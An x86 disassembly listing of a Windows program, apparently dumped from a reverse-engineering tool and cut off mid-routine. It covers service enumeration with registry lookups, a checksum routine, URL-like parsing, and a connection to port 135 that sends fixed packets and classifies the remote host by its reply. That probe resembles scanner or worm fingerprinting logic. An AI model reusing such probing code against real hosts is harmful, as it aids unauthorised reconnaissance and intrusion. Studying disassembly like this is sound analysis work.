var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_428		= byte ptr -428h
var_41C		= byte ptr -41Ch
var_400		= byte ptr -400h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	43B376h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		call	OpenSCManagerA	; OpenSCManagerA
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_13CAC3F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_13CAC3F:				; CODE XREF: sub_13CABF0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset dword_444414
		mov	[esp+528h+var_4E0], offset dword_444408
		mov	[esp+528h+var_4DC], offset dword_4443FC
		mov	[esp+528h+var_4D8], offset dword_4443F4
		mov	[esp+528h+var_4D4], offset dword_4443E8
		mov	[esp+528h+var_4D0], offset dword_4443DC
		mov	[esp+528h+var_4CC], offset dword_4443D4
		mov	[esp+528h+var_4C8], offset dword_4443C8
		mov	[esp+528h+var_4C4], offset dword_4443B8
		mov	[esp+528h+var_4C0], offset dword_444390
		mov	[esp+528h+var_4BC], offset dword_444384
		mov	[esp+528h+var_4B8], offset dword_444374
		mov	[esp+528h+var_4B4], offset dword_44435C
		mov	[esp+528h+var_4B0], offset dword_444350
		mov	[esp+528h+var_4AC], offset dword_44434C
		mov	[esp+528h+var_4A8], offset dword_444340
		mov	[esp+528h+var_4A4], offset dword_444338
		mov	[esp+528h+var_4A0], offset dword_444334
		mov	[esp+528h+var_49C], offset dword_444328
		mov	[esp+528h+var_498], offset dword_444318
		mov	[esp+528h+var_494], offset dword_444304
		mov	[esp+528h+var_490], offset dword_4442FC
		mov	[esp+528h+var_48C], offset dword_4442F4
		mov	[esp+528h+var_488], offset dword_4442EC
		mov	[esp+528h+var_484], offset dword_4442E0
		mov	[esp+528h+var_480], offset dword_4442D4
		mov	[esp+528h+var_47C], offset dword_4442CC
		mov	[esp+528h+var_478], offset dword_4442B8
		mov	[esp+528h+var_474], offset dword_4442AC
		mov	[esp+528h+var_470], offset dword_4442A0
		mov	[esp+528h+var_46C], offset dword_444298
		mov	[esp+528h+var_468], offset dword_44428C
		mov	[esp+528h+var_464], offset dword_44427C
		mov	[esp+528h+var_460], offset dword_444274
		mov	[esp+528h+var_45C], offset dword_444268
		mov	[esp+528h+var_458], offset dword_44425C
		mov	[esp+528h+var_454], offset dword_444250
		mov	[esp+528h+var_450], offset dword_444244
		mov	[esp+528h+var_44C], offset dword_444238
		mov	[esp+528h+var_448], offset dword_444230
		mov	[esp+528h+var_444], offset dword_444224
		mov	[esp+528h+var_440], offset dword_444218
		mov	[esp+528h+var_43C], offset dword_444210
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_13AB824
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, EnumServicesStatusA
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi ; EnumServicesStatusA
		mov	ecx, [esp+524h+var_514]
		push	ecx
		call	malloc	; malloc
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi ; EnumServicesStatusA
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_13CAF9F
		mov	ebp, RegOpenKeyExA


loc_13CAE7B:				; CODE XREF: sub_13CABF0+3A5j
		mov	eax, offset dword_444414
		test	eax, eax
		jz	short loc_13CAEA7
		lea	esi, [esp+524h+var_4E0]


loc_13CAE88:				; CODE XREF: sub_13CABF0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		call	_strcmpi	; _strcmpi
		add	esp, 8
		test	eax, eax
		jz	loc_13CAF83
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_13CAE88


loc_13CAEA7:				; CODE XREF: sub_13CABF0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset dword_44413C
		push	eax
		call	sub_13AB42D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_13ABA81
		push	eax
		push	80000002h
		call	ebp ; RegOpenKeyExA
		cmp	eax, ebx
		jz	short loc_13CAEF3
		mov	edx, [edi]
		lea	eax, [esp+51Ch+var_4F0]
		push	edx
		push	offset dword_4441EC
		push	eax
		call	sub_13AB42D
		add	esp, 0Ch
		jmp	short loc_13CAF4A
; ---------------------------------------------------------------------------


loc_13CAEF3:				; CODE XREF: sub_13CABF0+2EAj
		mov	eax, [esp+51Ch+var_500]
		lea	ecx, [esp+51Ch+var_4F8]
		lea	edx, [esp+51Ch+var_400]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset dword_444130
		push	eax
		call	RegQueryValueExA	; RegQueryValueExA
		cmp	eax, ebx
		jz	short loc_13CAF2D
		mov	ecx, [edi]
		lea	edx, [esp+51Ch+var_4F0]
		push	ecx
		push	offset dword_4441D8
		push	edx
		call	sub_13AB42D
		add	esp, 0Ch
		jmp	short loc_13CAF4A
; ---------------------------------------------------------------------------


loc_13CAF2D:				; CODE XREF: sub_13CABF0+324j
		mov	ecx, [edi]
		lea	eax, [esp+51Ch+var_400]
		push	eax
		push	ecx
		lea	edx, [esp+524h+var_4F0]
		push	offset dword_4441CC
		push	edx
		call	sub_13AB42D
		add	esp, 10h


loc_13CAF4A:				; CODE XREF: sub_13CABF0+301j
					; sub_13CABF0+33Bj
		lea	eax, [esp+51Ch+var_4F0]
		lea	ecx, [esp+51Ch+var_428]
		push	eax
		call	sub_13AB8C9
		mov	ecx, [esp+520h+arg_8]
		push	eax
		mov	[esp+524h+arg_0], 1
		call	sub_13AB725
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_13AB626


loc_13CAF83:				; CODE XREF: sub_13CABF0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_13CAE7B
		mov	ebp, [esp+524h+var_4FC]


loc_13CAF9F:				; CODE XREF: sub_13CABF0+27Fj
		push	ebp
		call	CloseServiceHandle	; CloseServiceHandle
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_13CABF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CB0E0	proc near		; CODE XREF: sub_13AB9EBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		call	GetModuleHandleA	; GetModuleHandleA
		push	eax
		call	GetModuleFileNameA	; GetModuleFileNameA
		mov	eax, esi
		pop	esi
		retn
sub_13CB0E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13CB110	proc near		; CODE XREF: sub_13ABE28j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_13CB149


loc_13CB132:				; CODE XREF: sub_13CB110+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_13CB132
		cmp	ecx, 0
		jz	short loc_13CB15A


loc_13CB149:				; CODE XREF: sub_13CB110+20j
					; sub_13CB110+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_13CB149


loc_13CB15A:				; CODE XREF: sub_13CB110+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_13CB110	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CB1B0	proc near		; CODE XREF: sub_13AB419j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_1029D0C, eax
		mov	eax, offset dword_1029D0C
		retn
sub_13CB1B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_13CB1D0:				; CODE XREF: .idata:013ABB71j
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, ftell
		push	esi
		call	edi ; ftell
		mov	ebp, fseek
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp ; fseek
		push	esi
		call	edi ; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp ; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CB220	proc near		; CODE XREF: sub_13ABD38j

var_15C		= byte ptr -15Ch
var_130		= byte ptr -130h
var_128		= byte ptr -128h
var_120		= byte ptr -120h
var_110		= byte ptr -110h
var_108		= byte ptr -108h
var_104		= byte ptr -104h
var_100		= byte ptr -100h
var_FC		= byte ptr -0FCh
var_F8		= byte ptr -0F8h
var_F4		= byte ptr -0F4h
var_F0		= byte ptr -0F0h
var_EC		= byte ptr -0ECh
var_E8		= byte ptr -0E8h
var_E4		= byte ptr -0E4h
var_E0		= byte ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_D4		= byte ptr -0D4h
var_CC		= byte ptr -0CCh
var_C8		= byte ptr -0C8h
var_BC		= byte ptr -0BCh
var_B8		= byte ptr -0B8h
var_B4		= byte ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= byte ptr -9Ch
var_98		= byte ptr -98h
var_94		= byte ptr -94h
var_90		= byte ptr -90h
var_8C		= byte ptr -8Ch
var_88		= byte ptr -88h
var_84		= byte ptr -84h
var_80		= byte ptr -80h
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_74		= byte ptr -74h
var_70		= byte ptr -70h
var_6C		= byte ptr -6Ch
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= byte ptr -44h
var_38		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	43B443h
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_13CB24F
		xor	al, al
		jmp	loc_13CB829
; ---------------------------------------------------------------------------


loc_13CB24F:				; CODE XREF: sub_13CB220+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_13AB824
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_13AB9D7
		push	offset dword_443CA4
		lea	eax, [esp+98h+var_58]
		push	ebx
		push	eax
		lea	ecx, [esp+0A0h+var_88]
		call	sub_13ABAAE
		mov	esi, [esp+0A0h+var_8]
		push	eax
		mov	ecx, esi
		mov	[esp+0A4h+var_14], 1
		call	sub_13AC3BE
		lea	ecx, [esp+0A4h+var_68]
		mov	[esp+0A4h+var_18], bl
		call	sub_13AB626
		push	offset dword_444428
		mov	ecx, esi
		call	sub_13AB6EE
		test	eax, eax
		jz	short loc_13CB2DF
		push	offset dword_444424
		mov	ecx, esi
		call	sub_13AB6EE
		test	eax, eax
		jz	short loc_13CB2DF
		lea	ecx, [esp+0ACh+var_A0]
		mov	[esp+0ACh+var_20], 0FFFFFFFFh
		call	sub_13AB626
		xor	al, al
		jmp	loc_13CB829
; ---------------------------------------------------------------------------


loc_13CB2DF:				; CODE XREF: sub_13CB220+92j
					; sub_13CB220+A2j
		push	offset dword_444420
		lea	ecx, [esp+0ACh+var_6C]
		push	1
		push	ecx
		lea	ecx, [esp+0B4h+var_9C]
		call	sub_13ABAAE
		push	40h
		mov	ecx, eax
		mov	[esp+0B8h+var_28], 2
		call	sub_13AC120
		lea	ecx, [esp+0B8h+var_7C]
		mov	edi, eax
		mov	[esp+0B8h+var_2C], bl
		call	sub_13AB626
		cmp	edi, ebx
		push	offset dword_444420
		push	1
		jz	loc_13CB61C
		lea	edx, [esp+0C0h+var_4C]
		lea	ecx, [esp+0C0h+var_AC]
		push	edx
		call	sub_13ABAAE
		push	offset dword_4437F8
		lea	ecx, [esp+0C8h+var_70]
		push	1
		push	ecx
		mov	ecx, eax
		mov	[esp+0D0h+var_38], 3
		call	sub_13ABAAE
		push	offset dword_443CA4
		lea	edx, [esp+0D4h+var_94]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	[esp+0DCh+var_44], 4
		call	sub_13ABAAE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	[esp+0E0h+var_50], 5
		call	sub_13AC3BE
		lea	ecx, [esp+0E0h+var_A4]
		mov	[esp+0E0h+var_54], 4
		call	sub_13AB626
		lea	ecx, [esp+0E0h+var_8C]
		mov	[esp+0E0h+var_54], 3
		call	sub_13AB626
		lea	ecx, [esp+0E0h+var_74]
		mov	[esp+0E0h+var_54], bl
		call	sub_13AB626
		push	offset byte_446F80
		mov	ecx, edi
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13CB3D9
		lea	ecx, [esp+0E4h+var_D8]
		mov	[esp+0E4h+var_58], 0FFFFFFFFh
		call	sub_13AB626
		xor	al, al
		jmp	loc_13CB829
; ---------------------------------------------------------------------------


loc_13CB3D9:				; CODE XREF: sub_13CB220+19Cj
		push	offset dword_444420
		lea	eax, [esp+0E8h+var_A8]
		push	1
		push	eax
		lea	ecx, [esp+0F0h+var_D8]
		call	sub_13ABAAE
		push	offset dword_4437F8
		lea	ecx, [esp+0F4h+var_9C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	[esp+0FCh+var_64], 6
		call	sub_13ABAAE
		push	offset dword_443CA4
		lea	edx, [esp+100h+var_90]
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+108h+var_70], 7
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+108h+var_7C], 8
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		add	esp, 4
		lea	ecx, [esp+108h+var_9C]
		mov	[esi+54h], eax
		mov	[esp+108h+var_7C], 7
		call	sub_13AB626
		lea	ecx, [esp+108h+var_B4]
		mov	[esp+108h+var_7C], 6
		call	sub_13AB626
		lea	ecx, [esp+108h+var_CC]
		mov	[esp+108h+var_7C], bl
		call	sub_13AB626
		cmp	[esi+54h], ebx
		jnz	short loc_13CB4A5
		push	offset dword_444428
		mov	ecx, esi
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13CB48E
		mov	dword ptr [esi+54h], 50h


loc_13CB48E:				; CODE XREF: sub_13CB220+265j
		push	offset dword_444424
		mov	ecx, esi
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13CB4A5
		mov	dword ptr [esi+54h], 15h


loc_13CB4A5:				; CODE XREF: sub_13CB220+255j
					; sub_13CB220+27Cj
		push	offset dword_444420
		lea	eax, [esp+114h+var_D4]
		push	1
		push	eax
		lea	ecx, [esp+11Ch+var_104]
		call	sub_13ABAAE
		push	offset dword_4437F8
		lea	ecx, [esp+120h+var_C8]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	[esp+128h+var_90], 9
		call	sub_13ABAAE
		push	offset dword_443CA4
		lea	edx, [esp+12Ch+var_BC]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	[esp+134h+var_9C], 0Ah
		call	sub_13ABAAE
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+138h+var_A8], 0Bh
		call	sub_13AC3BE
		lea	ecx, [esp+138h+var_CC]
		mov	[esp+138h+var_AC], 0Ah
		call	sub_13AB626
		lea	ecx, [esp+138h+var_E4]
		mov	[esp+138h+var_AC], 9
		call	sub_13AB626
		lea	ecx, [esp+138h+var_FC]
		mov	[esp+138h+var_AC], bl
		call	sub_13AB626
		push	offset byte_446F80
		mov	ecx, edi
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13CB55E
		lea	ecx, [esp+13Ch+var_130]
		mov	[esp+13Ch+var_B0], 0FFFFFFFFh
		call	sub_13AB626
		xor	al, al
		jmp	loc_13CB829
; ---------------------------------------------------------------------------


loc_13CB55E:				; CODE XREF: sub_13CB220+321j
		push	offset dword_444420
		lea	eax, [esp+140h+var_100]
		push	1
		push	eax
		lea	ecx, [esp+148h+var_130]
		call	sub_13ABAAE
		push	offset dword_4437F8
		lea	ecx, [esp+14Ch+var_F4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	[esp+154h+var_BC], 0Ch
		call	sub_13ABAAE
		push	offset dword_443CA4
		lea	edx, [esp+158h+var_E8]
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+160h+var_C8], 0Dh
		call	sub_13ABAAE
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	[esp+164h+var_D4], 0Eh
		call	sub_13AC3BE
		lea	ecx, [esp+164h+var_F8]
		mov	[esp+164h+var_D8], 0Dh
		call	sub_13AB626
		lea	ecx, [esp+164h+var_110]
		mov	[esp+164h+var_D8], 0Ch
		call	sub_13AB626
		lea	ecx, [esp+164h+var_128]
		mov	[esp+164h+var_D8], bl
		call	sub_13AB626
		push	offset byte_446F80
		mov	ecx, edi
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13CB743
		lea	ecx, [esp+168h+var_15C]
		mov	[esp+168h+var_DC], 0FFFFFFFFh
		call	sub_13AB626
		xor	al, al
		jmp	loc_13CB829
; ---------------------------------------------------------------------------


loc_13CB61C:				; CODE XREF: sub_13CB220+100j
		lea	eax, [esp+0C0h+var_64]
		lea	ecx, [esp+0C0h+var_AC]
		push	eax
		call	sub_13ABAAE
		push	offset dword_443CA4
		lea	ecx, [esp+0C8h+var_58]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	[esp+0D0h+var_38], 0Fh
		call	sub_13ABAAE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	[esp+0D4h+var_44], 10h
		call	sub_13AC3BE
		lea	ecx, [esp+0D4h+var_68]
		mov	[esp+0D4h+var_48], 0Fh
		call	sub_13AB626
		lea	ecx, [esp+0D4h+var_80]
		mov	[esp+0D4h+var_48], bl
		call	sub_13AB626
		push	offset byte_446F80
		mov	ecx, edi
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13CB6A3
		lea	ecx, [esp+0D8h+var_CC]
		mov	[esp+0D8h+var_4C], 0FFFFFFFFh
		call	sub_13AB626
		xor	al, al
		jmp	loc_13CB829
; ---------------------------------------------------------------------------


loc_13CB6A3:				; CODE XREF: sub_13CB220+466j
		push	offset dword_444420
		lea	edx, [esp+0DCh+var_84]
		push	1
		push	edx
		lea	ecx, [esp+0E4h+var_CC]
		call	sub_13ABAAE
		push	offset dword_443CA4
		lea	ecx, [esp+0E8h+var_78]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0F0h+var_58], 11h
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0F0h+var_64], 12h
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		add	esp, 4
		lea	ecx, [esp+0F0h+var_84]
		mov	[esi+54h], eax
		mov	[esp+0F0h+var_64], 11h
		call	sub_13AB626
		lea	ecx, [esp+0F0h+var_9C]
		mov	[esp+0F0h+var_64], bl
		call	sub_13AB626
		cmp	[esi+54h], ebx
		jnz	short loc_13CB743
		push	offset dword_444428
		mov	ecx, esi
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13CB72C
		mov	dword ptr [esi+54h], 50h


loc_13CB72C:				; CODE XREF: sub_13CB220+503j
		push	offset dword_444424
		mov	ecx, esi
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13CB743
		mov	dword ptr [esi+54h], 15h


loc_13CB743:				; CODE XREF: sub_13CB220+3DBj
					; sub_13CB220+4F3j ...
		push	offset dword_444420
		lea	ecx, [esp+0FCh+var_EC]
		call	sub_13AB7E3
		lea	edx, [esp+0FCh+var_D8]
		push	eax
		push	edx
		lea	ecx, [esp+104h+var_F0]
		call	sub_13AC22E
		push	offset dword_444420
		lea	ecx, [esp+108h+var_E0]
		mov	[esp+108h+var_78], 13h
		call	sub_13AB7E3
		push	eax
		lea	eax, [esp+10Ch+var_9C]
		push	eax
		lea	ecx, [esp+110h+var_E4]
		call	sub_13AC22E
		push	eax
		lea	ecx, [esp+114h+var_EC]
		mov	[esp+114h+var_84], 14h
		call	sub_13AC40E
		lea	ecx, [esp+114h+var_A8]
		mov	[esp+114h+var_88], 13h
		call	sub_13AB626
		push	offset dword_444420
		lea	ecx, [esp+118h+var_F0]
		call	sub_13AB7E3
		lea	ecx, [esp+118h+var_AC]
		push	eax
		push	ecx
		lea	ecx, [esp+120h+var_F4]
		call	sub_13AC22E
		push	eax
		lea	ecx, [esp+124h+var_FC]
		mov	[esp+124h+var_94], 15h
		call	sub_13AC40E
		lea	ecx, [esp+124h+var_B8]
		mov	[esp+124h+var_98], 13h
		call	sub_13AB626
		add	esi, 58h
		push	offset dword_444420
		mov	ecx, esi
		call	sub_13AB9D7
		lea	edx, [esp+128h+var_104]
		mov	ecx, esi
		push	edx
		call	sub_13ABABD
		lea	ecx, [esp+12Ch+var_108]
		mov	byte ptr [esp+12Ch+var_A0], bl
		call	sub_13AB626
		lea	ecx, [esp+12Ch+var_120]
		mov	[esp+12Ch+var_A0], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, 1


loc_13CB829:				; CODE XREF: sub_13CB220+2Aj
					; sub_13CB220+BAj ...
		mov	ecx, [esp+12Ch+var_A8]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_13CB220	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CB9E0	proc near		; CODE XREF: sub_13ABEEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_13CBA0B


loc_13CB9F4:				; CODE XREF: sub_13CB9E0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_13CBA12
		inc	eax
		cmp	eax, edx
		jl	short loc_13CB9F4


loc_13CBA0B:				; CODE XREF: sub_13CB9E0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13CBA12:				; CODE XREF: sub_13CB9E0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_13CB9E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBA30	proc near		; CODE XREF: sub_13AC49Aj

var_4C		= byte ptr -4Ch
var_4A		= byte ptr -4Ah
var_3C		= byte ptr -3Ch
var_2A		= byte ptr -2Ah
var_1C		= byte ptr -1Ch
var_10		= byte ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_2000	= dword	ptr  2004h
arg_2010	= dword	ptr  2014h
arg_2014	= dword	ptr  2018h

		mov	eax, 2010h
		call	near ptr 13E0C60h
		mov	eax, [esp+arg_2014]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_13CBA7D
		dec	eax
		jz	short loc_13CBA57
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_13CBA57:				; CODE XREF: sub_13CBA30+18j
		mov	eax, [esp+0Ch+arg_2010]
		push	1388h
		push	eax
		call	sub_13AC404
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_13CBA7D:				; CODE XREF: sub_13CBA30+15j
		push	6
		push	1
		push	2
		call	socket	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_13CBBD9
		cmp	esi, 0FFFFFFFFh
		jz	loc_13CBBD9
		xor	ecx, ecx
		push	87h
		mov	[esp+1Ch+var_C], ecx
		mov	word ptr [esp+1Ch+var_C], 2
		mov	[esp+1Ch+var_8], ecx
		mov	[esp+1Ch+var_4], ecx
		mov	[esp+1Ch], ecx
		call	htons	; htons
		mov	edx, [esp+1Ch+arg_2000]
		mov	[esp+1Ch+var_E], ax
		push	edx
		call	sub_13ABC7F
		add	esp, 4
		mov	[esp+1Ch+var_C], eax
		lea	eax, [esp+1Ch+var_10]
		push	10h
		push	eax
		push	esi
		call	connect	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_13CBBD2
		mov	ebp, send
		push	0
		push	48h
		push	offset dword_443DE8
		push	esi
		call	ebp ; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_13CBBD2
		mov	edi, recv
		push	0
		lea	ecx, [esp+3Ch+var_1C]
		push	2000h
		push	ecx
		push	esi
		call	edi ; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_13CBBD2
		cmp	[esp+48h+var_2A], 0Ch
		jnz	loc_13CBBD2
		push	0
		push	18h
		push	offset dword_443E5C
		push	esi
		call	ebp ; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_13CBBD2
		push	0
		lea	edx, [esp+5Ch+var_3C]
		push	2000h
		push	edx
		push	esi
		call	edi ; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_13CBBD2
		cmp	[esp+68h+var_4A], 2
		jnz	short loc_13CBBD2
		push	10h
		push	offset dword_443E34
		lea	eax, [esp+70h+var_4C]
		push	edi
		push	eax
		call	sub_13ABEEB
		add	esp, 10h
		test	al, al
		jz	short loc_13CBBA1
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		call	closesocket	; closesocket
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_13CBBA1:				; CODE XREF: sub_13CBA30+14Ej
		push	10h
		push	offset dword_443E48
		lea	edx, [esp+70h+var_4C]
		push	edi
		push	edx
		call	sub_13ABEEB
		add	esp, 10h
